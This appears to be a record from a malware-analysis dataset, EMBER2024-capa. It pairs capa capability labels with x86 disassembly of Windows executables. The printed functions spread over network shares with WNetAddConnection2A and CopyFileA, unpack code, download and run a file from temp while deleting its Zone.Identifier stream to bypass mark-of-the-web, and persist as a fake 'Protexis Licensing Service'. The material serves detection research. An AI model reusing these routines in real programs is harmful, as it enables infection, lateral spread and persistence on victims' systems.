joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049bc
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403d24
xor eax, eax
push ebp
push 0x404bbf
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x404bd8
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403bfc
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00403d34
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.00403b3c
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403d34
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.00404750
test eax, eax
je 0x404a62
mov ax, 3
mov word [ebp - 0xe], 1
jmp 0x404a6a
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x404b94
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x4060bc
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x404b87
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x4060b4
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00403d34
push eax
mov eax, dword [edi]
call fcn.00403d34
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x404b7b
mov esi, 4
mov ebx, 0x4060a4
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.00403aac
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.00403b44
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00404724
test eax, eax
je 0x404b5a
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x404be4
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00403bfc
mov eax, dword [ebp - 0x48]
call fcn.00403d34
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x4c]
call fcn.00403d34
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x404b5a
call fcn.00404750
test eax, eax
je 0x404b53
push dword [ebp - 8]
push dword [ebx]
push 0x404bf8
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00403bfc
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.0040477c
mov dword [ebp - 0xc], 0xffffffff
add ebx, 4
dec esi
jne 0x404ac6
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x404b7b
dec ebx
jne 0x404b69
add edi, 4
dec dword [ebp - 0x1c]
jne 0x404a96
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x404a81
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404bc6
lea eax, [ebp - 0x50]
mov edx, 4
call fcn.004038f0
lea eax, [ebp - 0x14]
call fcn.004038cc
lea eax, [ebp - 8]
call fcn.004038cc
ret
Function at 0x405884
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd1c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d24
xor eax, eax
push ebp
push 0x405a4b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405850
test al, al
je 0x405989
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x2e0]
call fcn.00402a94
lea eax, [ebp - 0x2e0]
call fcn.00402830
call fcn.004025e0
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x2e0]
call fcn.00402cf0
call fcn.004025e0
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x2e0]
call fcn.00402cf0
lea eax, [ebp - 0x2e0]
call fcn.00402d5c
call fcn.004025e0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00403964
jmp 0x405965
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x2e0]
call fcn.00402cf0
call fcn.004025e0
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x2e0]
call fcn.00402cf0
lea eax, [ebp - 0x2e0]
call fcn.00402d5c
call fcn.004025e0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00403b44
lea eax, [ebp - 0x2e0]
call fcn.00402b54
call fcn.004025e0
test al, al
je 0x405929
lea eax, [ebp - 0x2e0]
call fcn.00402afc
call fcn.004025e0
mov edx, dword [ebp - 0xc]
mov eax, dword [0x4060cc]
call fcn.00403dcc
test eax, eax
jg 0x405a25
push 0xff
lea eax, [ebp - 0x114]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0x114]
mov ecx, pe_nt_image_headers32
call fcn.00403b24
lea eax, [ebp - 8]
mov edx, 0x405a64
call fcn.00403b44
push 0
mov eax, dword [ebp - 8]
call fcn.00403d34
push eax
lea edx, [ebp - 0x2e4]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x2e4]
call fcn.00403d34
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
push ebp
push 0x405a1b
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004053ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405a25
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a52
lea eax, [ebp - 0x2e4]
call fcn.004038cc
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004038f0
ret
Function at 0x405a70
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d24
xor eax, eax
push ebp
push 0x405b35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x407864]
call fcn.00403d34
mov dword [ebp - 8], eax
push 0xa
mov eax, dword [ebp - 4]
call fcn.00403d34
push eax
mov eax, dword [0x407700]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x405b1f
push ebx
mov eax, dword [0x407700]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
test edi, edi
je 0x405b1f
push ebx
mov eax, dword [0x407700]
push eax
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x405b1f
push eax
call sub.kernel32.dll_LockResource
mov esi, eax
test esi, esi
je 0x405b1f
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405b1f
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b3c
lea eax, [ebp - 4]
call fcn.004038cc
ret
Function at 0x4044b3
Capabilities:
Read .ini file

Disassembly:
int3
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [esp + 0x28]
mov dword [eax], 0x20
mov dword [eax + 0xc], 0xffffffff
push 0
push 0
push eax
push eax
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
test eax, eax
jne 0x404451
push 0x1001
bnd call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
jmp 0x404467
Function at 0x580d00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x8b000]
push edi
or ebp, 0xffffffff
jmp 0x580d22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x580d29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x580d18
mov eax, 1
add ebx, ebx
jne 0x580d3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x580d4c
jne 0x580d6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x580d6b
dec eax
add ebx, ebx
jne 0x580d58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x580d30
add ebx, ebx
jne 0x580d67
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x580dbd
xor ecx, ecx
sub eax, 3
jb 0x580d83
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x580df2
sar eax, 1
mov ebp, eax
jmp 0x580d8e
add ebx, ebx
jne 0x580d8e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x580d5c
inc ecx
add ebx, ebx
jne 0x580d9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x580d5c
add ebx, ebx
jne 0x580da9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x580d9e
jne 0x580dba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x580d9e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x580ddc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x580dce
jmp 0x580d1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x580ddc
add edi, ecx
jmp 0x580d1e
pop esi
mov edi, esi
mov ecx, 0x123f43
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x580e17
cmp byte [edi], 0xc
jne 0x580dfc
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x580dfa
lea edi, [esi + 0x17e000]
mov eax, dword [edi]
or eax, eax
je 0x580e68
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x181030]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x181080]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x580e1d
mov ecx, edi
jns 0x580e4c
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x181088]
or eax, eax
je 0x580e62
mov dword [ebx], eax
add ebx, 4
jmp 0x580e3a
call dword [esi + 0x181084]
mov ebp, dword [esi + 0x18108c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x580e9c
sub esp, 0xffffff80
jmp 0x403270
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.004029d0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call fcn.004029d0
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x401071
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x4010a6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4010b0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0x40c18c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._syuitreyyyyyy.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401103
xor al, al
jmp 0x40113d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40113b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x401150
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x944
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00402a4a
add esp, 4
mov byte [ebp - 0x411], 0
push 0x104
lea eax, [ebp - 0x830]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp + 8]
push ecx
call fcn.00402cd0
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x410]
push eax
call fcn.00402ca6
add esp, 0xc
call fcn.00402a5c
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call fcn.00402a5c
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x830]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_127.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 0
je 0x401323
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x944]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
je 0x401316
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xffffffff
je 0x401309
lea ecx, [ebp - 0x940]
push ecx
push 0x103
lea edx, [ebp - 0x938]
push edx
mov eax, dword [ebp - 0x624]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012c4
cmp dword [ebp - 0x940], 0
je 0x4012c4
push 0
lea ecx, [ebp - 0x93c]
push ecx
mov edx, dword [ebp - 0x940]
push edx
lea eax, [ebp - 0x938]
push eax
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401271
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x620]
push eax
push str._s:Zone.Identifier
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x620]
push eax
call section..text
add esp, 4
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x624]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x944]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x404e11
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40f87c]
jne 0x404e1b
repz ret
jmp fcn.004089d2

Function at 0x40ac3c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004050b4
and dword [ebp - 4], 0
cmp dword [0x410814], 0
mov ebx, eax
jne 0x40aced
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ad9e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40ad9e
push eax
call fcn.00405042
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x410814], eax
call esi
push eax
call fcn.00405042
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x410818], eax
call esi
push eax
call fcn.00405042
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41081c], eax
call esi
push eax
call fcn.00405042
pop ecx
mov dword [0x410824], eax
test eax, eax
je 0x40aced
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405042
pop ecx
mov dword [0x410820], eax
mov eax, dword [0x410820]
cmp eax, ebx
je 0x40ad45
cmp dword [0x410824], ebx
je 0x40ad45
push eax
call fcn.004050bd
push dword [0x410824]
mov esi, eax
call fcn.004050bd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ad45
test edi, edi
je 0x40ad45
call esi
test eax, eax
je 0x40ad3c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ad3c
test byte [ebp - 0xc], 1
jne 0x40ad45
or dword [ebp + 0x10], 0x200000
jmp 0x40ad7e
mov eax, dword [0x410818]
cmp eax, ebx
je 0x40ad7e
push eax
call fcn.004050bd
pop ecx
test eax, eax
je 0x40ad7e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ad7e
mov eax, dword [0x41081c]
cmp eax, ebx
je 0x40ad7e
push eax
call fcn.004050bd
pop ecx
test eax, eax
je 0x40ad7e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x410814]
call fcn.004050bd
pop ecx
test eax, eax
je 0x40ad9e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ada0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401990
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x42d6d8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x438ab4]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
mov eax, dword [0x438ab4]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
sub esp, 0x1c
mov dword [esp + 0x2c], esp
mov ecx, esp
xor ebx, ebx
push 0x1a
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push str.Protexis_Licensing_Service
mov byte [ecx + 4], bl
call fcn.004022e0
lea ecx, [esp + 0x30]
call fcn.0042b1c0
push ebx
push ebx
push 1
push ebx
mov dword [esp + 0x50], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x43cc00], eax
cmp eax, ebx
jne 0x401a60
push ebx
push 0xc0000024
lea ecx, [esp + 0x1c]
call fcn.0042b5d0
mov eax, dword [0x43cbdc]
push 0x43cbe0
push eax
mov dword [0x43cbe4], 1
mov dword [0x43cbec], ebx
mov dword [0x43cbf8], ebx
mov dword [0x43cbe8], 5
mov dword [0x43cbf4], ebx
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
cmp dword [esp + 0x2c], 0x10
jb 0x401b19
mov ecx, dword [esp + 0x18]
push ecx
jmp 0x401b11
mov edx, dword [0x43cbdc]
mov esi, dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0x43cbe0
push edx
mov dword [0x43cbe4], 4
mov dword [0x43cbec], ebx
mov dword [0x43cbf8], ebx
mov dword [0x43cbe8], 5
mov dword [0x43cbf4], ebx
call esi
lea eax, [esp + 0x10]
push eax
push ebx
push ebx
push 0x404fb0
push ebx
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x43cc00]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push 0x40000004
lea ecx, [esp + 0x1c]
call fcn.0042b5d0
mov edx, dword [0x43cbdc]
push 0x43cbe0
push edx
mov dword [0x43cbe4], 1
mov dword [0x43cbec], ebx
mov dword [0x43cbf8], ebx
mov dword [0x43cbe8], 5
mov dword [0x43cbf4], ebx
call esi
cmp dword [esp + 0x2c], 0x10
jb 0x401b19
mov eax, dword [esp + 0x18]
push eax
call fcn.00405250
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0040f653
add esp, 0x38
ret
Function at 0x403360
Capabilities:
Create service
Persist via windows service

Disassembly:
push 0xffffffffffffffff
push 0x42d513
mov eax, dword fs:[0]
push eax
sub esp, 0x170
mov eax, dword [0x438ab4]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x438ab4]
xor eax, esp
push eax
lea eax, [esp + 0x184]
mov dword fs:[0], eax
mov esi, ecx
xor edi, edi
mov dword [esp + 0x18c], edi
cmp byte [esi + 0x3c], 0
jne 0x4033cd
cmp dword [esp + 0x1ac], 0x10
jb 0x4033c6
mov eax, dword [esp + 0x198]
push eax
call fcn.00405250
add esp, 4
xor al, al
jmp 0x403588
cmp dword [esp + 0x1a8], edi
jne 0x4033f7
cmp dword [esp + 0x1ac], 0x10
jb 0x4033c6
mov ecx, dword [esp + 0x198]
push ecx
call fcn.00405250
add esp, 4
xor al, al
jmp 0x403588
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x1a
mov ebx, 0xf
mov dword [ecx + 0x18], ebx
mov dword [ecx + 0x14], edi
push str.Protexis_Licensing_Service
mov byte [ecx + 4], 0
call fcn.004022e0
lea ecx, [esp + 0x38]
call fcn.0042b1c0
mov byte [esp + 0x18c], 1
mov eax, dword [esp + 0x198]
mov ebp, 0x10
cmp dword [esp + 0x1ac], ebp
jae 0x403448
lea eax, [esp + 0x198]
lea edx, [esp + 0x3c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x403485
cmp dword [esp + 0x34], ebp
jb 0x40346c
mov eax, dword [esp + 0x20]
push eax
call fcn.00405250
add esp, 4
cmp dword [esp + 0x1ac], ebp
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], edi
mov byte [esp + 0x20], 0
jmp 0x4033de
push 2
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4034db
push eax
push 0xc0000019
lea ecx, [esp + 0x24]
call fcn.0042b5d0
cmp dword [esp + 0x34], ebp
jb 0x4034b7
mov edx, dword [esp + 0x20]
push edx
call fcn.00405250
add esp, 4
lea ecx, [esp + 0x194]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
call fcn.00401d70
xor al, al
jmp 0x403588
mov edx, dword [esp + 0x198]
cmp dword [esp + 0x1ac], ebp
jae 0x4034f2
lea edx, [esp + 0x198]
cmp dword [esi + 0x34], ebp
jb 0x4034fc
mov ecx, dword [esi + 0x20]
jmp 0x4034ff
lea ecx, [esi + 0x20]
cmp dword [esi + 0x18], ebp
jb 0x403509
mov eax, dword [esi + 4]
jmp 0x40350c
lea eax, [esi + 4]
push 0
push 0
push 0
push 0
push 0
push edx
push 1
push 2
push ebp
push 0xf01ff
push ecx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x403534
mov bl, 1
jmp 0x403546
push 0
push 0xc0000023
lea ecx, [esp + 0x24]
call fcn.0042b5d0
xor bl, bl
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
cmp dword [esp + 0x34], ebp
jb 0x403565
mov eax, dword [esp + 0x20]
push eax
call fcn.00405250
add esp, 4
lea ecx, [esp + 0x194]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
call fcn.00401d70
mov al, bl
mov ecx, dword [esp + 0x184]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.0040f653
add esp, 0x17c
ret 0x1c
Function at 0x4035c0
Capabilities:
Start service

Disassembly:
push 0xffffffffffffffff
push 0x42d4a8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x438ab4]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push esi
push edi
mov eax, dword [0x438ab4]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, ecx
mov al, byte [esi + 0x3c]
test al, al
je 0x403667
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
push 0x1a
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push str.Protexis_Licensing_Service
mov byte [ecx + 4], 0
call fcn.004022e0
lea ecx, [esp + 0x30]
call fcn.0042b1c0
push 1
push 0
push 0
mov dword [esp + 0x4c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x40366e
push eax
push 0xc0000019
lea ecx, [esp + 0x1c]
call fcn.0042b5d0
cmp dword [esp + 0x2c], 0x10
jb 0x403667
mov eax, dword [esp + 0x18]
push eax
call fcn.00405250
add esp, 4
xor al, al
jmp 0x403703
mov ebx, 0x10
cmp dword [esi + 0x18], ebx
jb 0x40367d
mov esi, dword [esi + 4]
jmp 0x403680
add esi, 4
push 0x20000000
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
push 0
test esi, esi
jne 0x4036c1
push 0xc0000020
lea ecx, [esp + 0x1c]
call fcn.0042b5d0
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [esp + 0x2c], ebx
jb 0x403667
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00405250
add esp, 4
xor al, al
jmp 0x403703
push 0
push esi
mov bl, 1
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4036e1
push eax
push 0xc0000024
lea ecx, [esp + 0x1c]
call fcn.0042b5d0
xor bl, bl
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
cmp dword [esp + 0x2c], 0x10
jb 0x403701
mov edx, dword [esp + 0x18]
push edx
call fcn.00405250
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0040f653
add esp, 0x34
ret